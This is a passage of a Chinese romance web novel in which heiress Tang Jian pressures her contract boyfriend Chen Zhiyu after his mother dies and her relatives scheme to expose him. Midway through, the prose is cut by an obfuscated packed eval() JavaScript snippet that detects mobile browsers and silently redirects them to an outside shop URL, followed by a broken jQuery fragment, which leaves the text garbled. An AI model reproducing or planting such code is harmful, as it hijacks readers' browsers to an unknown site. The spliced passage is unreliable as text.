唐简在街上吹风吹到心满意足才回家,一下车开始甩头,试图把头发里的花瓣甩出来。
陈至屿看得无可奈何,眼前的唐小姐已经不像一开始那样高高在上,多了点熊孩子气。
电梯里,陈至屿一直在帮她挑头发里的花瓣,大半夜挑了好一会才还她一头柔顺无花瓣的头发。
唐简抱着泰迪熊喜滋滋地提议,“要不我明天晚上还来接你?”
接人是假,吃宵夜吹樱花雨才是真吧。
陈至屿不置可否,淡淡地提醒道:“明天开始要下雨。”
“……”
等到这一阵雨停歇,唐简又出差去了。
刚下飞机,她收到了来自大伯的消息,让她今晚回去吃饭。唐简墨镜下的大眼睛猛地一翻,“烦不烦啊,老是吃饭,看到他们的脸我就没胃口。”
林璐脸色淡定,“要我陪你去吗?”
“不行嘞,陈至屿还得再露一次脸才行。”唐简打开通讯录,找到他的号码。
“嘟……嘟……嘟……”
等了三秒钟,唐简脸色隐隐不耐,又等了五秒,电话终于接通,陈至屿的声音很轻,“喂,唐小姐。”
“收拾一下,晚上陪我去吃饭。”她语气强硬。
“……抱歉,今天不行。”
“不行?陈至屿,有没有搞错,才配合了我一次,你就要罢工?”唐简眉头紧皱,有种计划脱离掌控的愤怒。
对面没说话。
唐简冷笑一声,“我给了你这么多钱,你现在这是在干嘛?把我当大善人了,付出不求回报的吗?”
听筒里传来对方的吸气声,他声音带着细微的颤抖,“唐小姐,你给我的钱我都会还的……”
唐简越听越愤怒,怀疑他下一句话就是要毁约,她跟林璐对视一眼,丝毫没有掩饰脸上的愤怒和不明显的慌张。
陈至屿的呼吸声变得急促,似乎在强忍什么,低声道:“我妈妈下午去世了……”
他是真的没有办法陪唐小姐回家,“抱歉,唐小姐,等我处理好我妈妈的后事再向你赔罪。”
唐简听到他说的,心里无名的怒火被冷水猛地扑灭,只留下浓烟,她失去过至亲,最能理解这时候的陈至屿。
她叹了口气,“算了,这几天我不会来找你的。”
挂了电话,她往后一靠,焦躁不已地抹了两把脸。
意料之外的情况被迫将她的计划中止。
过了一会,林璐问:“那,今晚?”
“不去了,”唐简蒙着脸烦躁地挥挥手,“忙了这么久,都不给我休息的时间吗?做长辈的一点都不心疼小辈。”
她把手机递给林璐,“你就说我要睡觉。”
林璐接过手机,当然不能这么直白,编辑了一条谦卑又适当卖惨的回复才把手机还给她,轻声说:“我约一下医生,我们去检查一下吧。”
唐简睁开眼睛,眼神清明,当然不可以,万一暴露了自己真实的身体情况会很麻烦。
她态度放软,“我不想去,每天都有按时吃药的能有什么问题,回家让我睡一觉吧。”
感觉到她是真的疲惫,林璐没想太多,顺着她说:“好,回家休息吧。”
另一边,唐明放下手机,“让你找的那些人回去吧。”
“干嘛,不是你让我找的吗?”唐珍不解。
“小简晚上不来,她刚出差结束,说要休息。”
“行吧,”唐珍编辑了条消息,让她找的那些跟唐简那个男秘书长得相似的人都回去,发完消息,疑心病又犯了,“原因就这么简单?不会跟那个男的有关系吧。”
她一下就联想到了什么“从此君王不早朝”的荒唐画面。
“她出差是真的,至于你说的,还是去查一下吧。之前让你查的有结果吗?”
唐珍得意地扬起眉毛,“当然,那小白脸叫陈至屿,跟他妈妈一起生活,家里一穷二白,除了脸不错,其他都很普通。”
唐明听完,意味深长地开口,“就是要够普通,才好拿捏。”
唐珍警觉,开口提醒,“你要干嘛,别在背后下黑手,万一小简是真心的,结果只会适得其反。”
“我知道,”唐明将桌上的手机翻了个面,“我会教她看清一个男人的真面目,拜金……或者好色。”
-
唐简在家看了三天电视剧,她双手环胸,面无表情地看着电视里的女主在雨里哭泣,哀求男主不要离开自己。
越看火气越大,愤怒之下关了电视。看个电视憋屈,就连在陈至屿那里也碰壁。
她扯起嘴角呵呵一笑。
冷冷的笑声在空旷的室内慢慢沉寂,电话铃声随即响起,看了眼来电人,她深呼吸几下接通电话,“喂,姐姐。”
“小简,听说你最近谈恋爱了。”唐筑声音很温柔。
“对啊,”唐简早有预料会有这天,只不过她心情实在算不上好,说话有气无力的。
“身体不舒服吗?语气听着怪怪的呢?”
“姐,我刚看完一集苦情剧,”说完,她还装模做样长叹一口气。
唐筑轻轻笑了一声,“出去走走吧,别老待在家里,对了,我还没见过你男朋友呢。”
“我男朋友啊……”要放平时,唐简能编很多夸奖他的话,现在,连之前演练过的话都不想说,随口说:“是个好人。”
又补充道:“等你回来我们一起吃顿饭。”
唐筑语气带着歉意,“近期我都要在这边了。”
“嗯,我知道,等你回来吧。”唐简原本浅淡的笑意也消失不见,大家都很忙呗,留她一个人在这里。
电话挂断,唐简赤着脚走到窗边,窗外的天灰蒙蒙的,显得这座城市格外压抑,胸口的异样越来越明显,她从睡衣兜里摸出药瓶,干涩的喉咙黏住药片,等她跑到厨房喝了水,仍带不走喉间的苦意。
“啪——”水晶杯炸裂的声音格外清脆,碎片和水珠飞溅在四周。
愤怒郁闷焦躁的情绪占据大脑,唐简撑在桌上的手不停颤抖着,不停地深呼吸,试图调整自己的情绪,让自己放松下来。
放松,放松
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632872|206455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,唐简你可别把自己气死了。
桌面上的手机震动了一下,屏幕亮起,是陈至屿发过来的。
陈至屿:【唐小姐,真的很抱歉,我妈的后事已经处理好了,你的安排我都会配合的。】
唐简直勾勾地看着那条消息,直到屏幕熄灭。
陈母的后事办得很简单,从陈至屿父亲开始赌博就频频向亲戚借钱,一来二去的,亲戚都离一家人远远的不再来往。
陈至屿坐在沙发上,家里的一切还是跟往常一样,只是他身上的落寞感似乎充斥这间狭小的屋子,眼前的颜色一点点淡去。
他坐了一会,看了眼时间,套上外套穿好鞋子出门,照着唐简发来的位置转了两趟地铁,终于到了一家会所前。
不知道她的目的是什么,但也没在多想,他面无表情地推门进去,黑色外套黑色卫衣,跟巴洛克式装修格格不入。
找到包厢号,他抬手敲了两下门,里面传来熟悉的女声,“进来。”
包厢里格外安静,看清眼前的画面,陈至屿还是被惊到了。
穿着白色长裙的唐简坐在沙发上,面前的矮桌上摆满了倒满酒的杯子,杯底压了一叠钞票,矮桌边围跪了一圈男人。
包厢里明亮的灯光照在玻璃杯上,琥珀色的酒液反射出金黄色的光芒,陈至屿偏了偏头,避开刺眼的光芒。
“喝吧,”唐简话音一落,跪着的男人们争先恐后地端起酒杯,大口大口地吞咽起来。
她看向愣在原地的陈至屿,“你要加入他们吗?”
陈至屿眼神清明,摇了摇头。
唐简扯扯嘴角,食指勾了两下示意他过来。
陈至屿很懂脸色,走到她面前缓缓蹲下。
“你知道你跟他们的区别在哪里吗?”唐简指尖抬起他的下巴,“如果不是你已经在我长辈前露过脸,你们压根没有区别。”
陈至屿能感受到她压抑的愤怒,他低声说:“唐小姐,抱歉,以后我会绝对配合你的。”
“我知道以你的能力,几百万只是时间问题,可是你已经签字了,说好听点,我是你的老板,难听一点,就是金主了。”唐简的表情很淡,似乎只是在陈述事实。
这个事实陈至屿心知肚明,从他签字那一刻,他就没想过要毁约,唐简对他的帮助无法单纯用金钱衡量。
“不过,”她手指点点酒杯,“喝完这杯,我给你一次重新选择的机会。”
琥珀色的酒液落入眼底,陈至屿没有犹豫,端起杯子往嘴边送,辛辣的酒液毫不留情,鼻腔都火辣辣地刺痛,生理性的泪水随着咳嗽溢出。
唐简冷漠地看着他擦去嘴边的液体,再次端起酒杯,视线落在他眼角的湿润上,杯子里的液体越来越少,她嘴角勾起一抹冷笑。
看吧,重新选择的机会多诱人,让一个不会喝酒的人此刻流着泪豪饮。
“叮——”杯底与桌边发出碰撞声。
陈至屿的眼睛蒙了层水雾,脸颊连带脖颈泛着红色,他平静地与唐简对视,“唐小姐,你不用担心,我会遵守协议的。”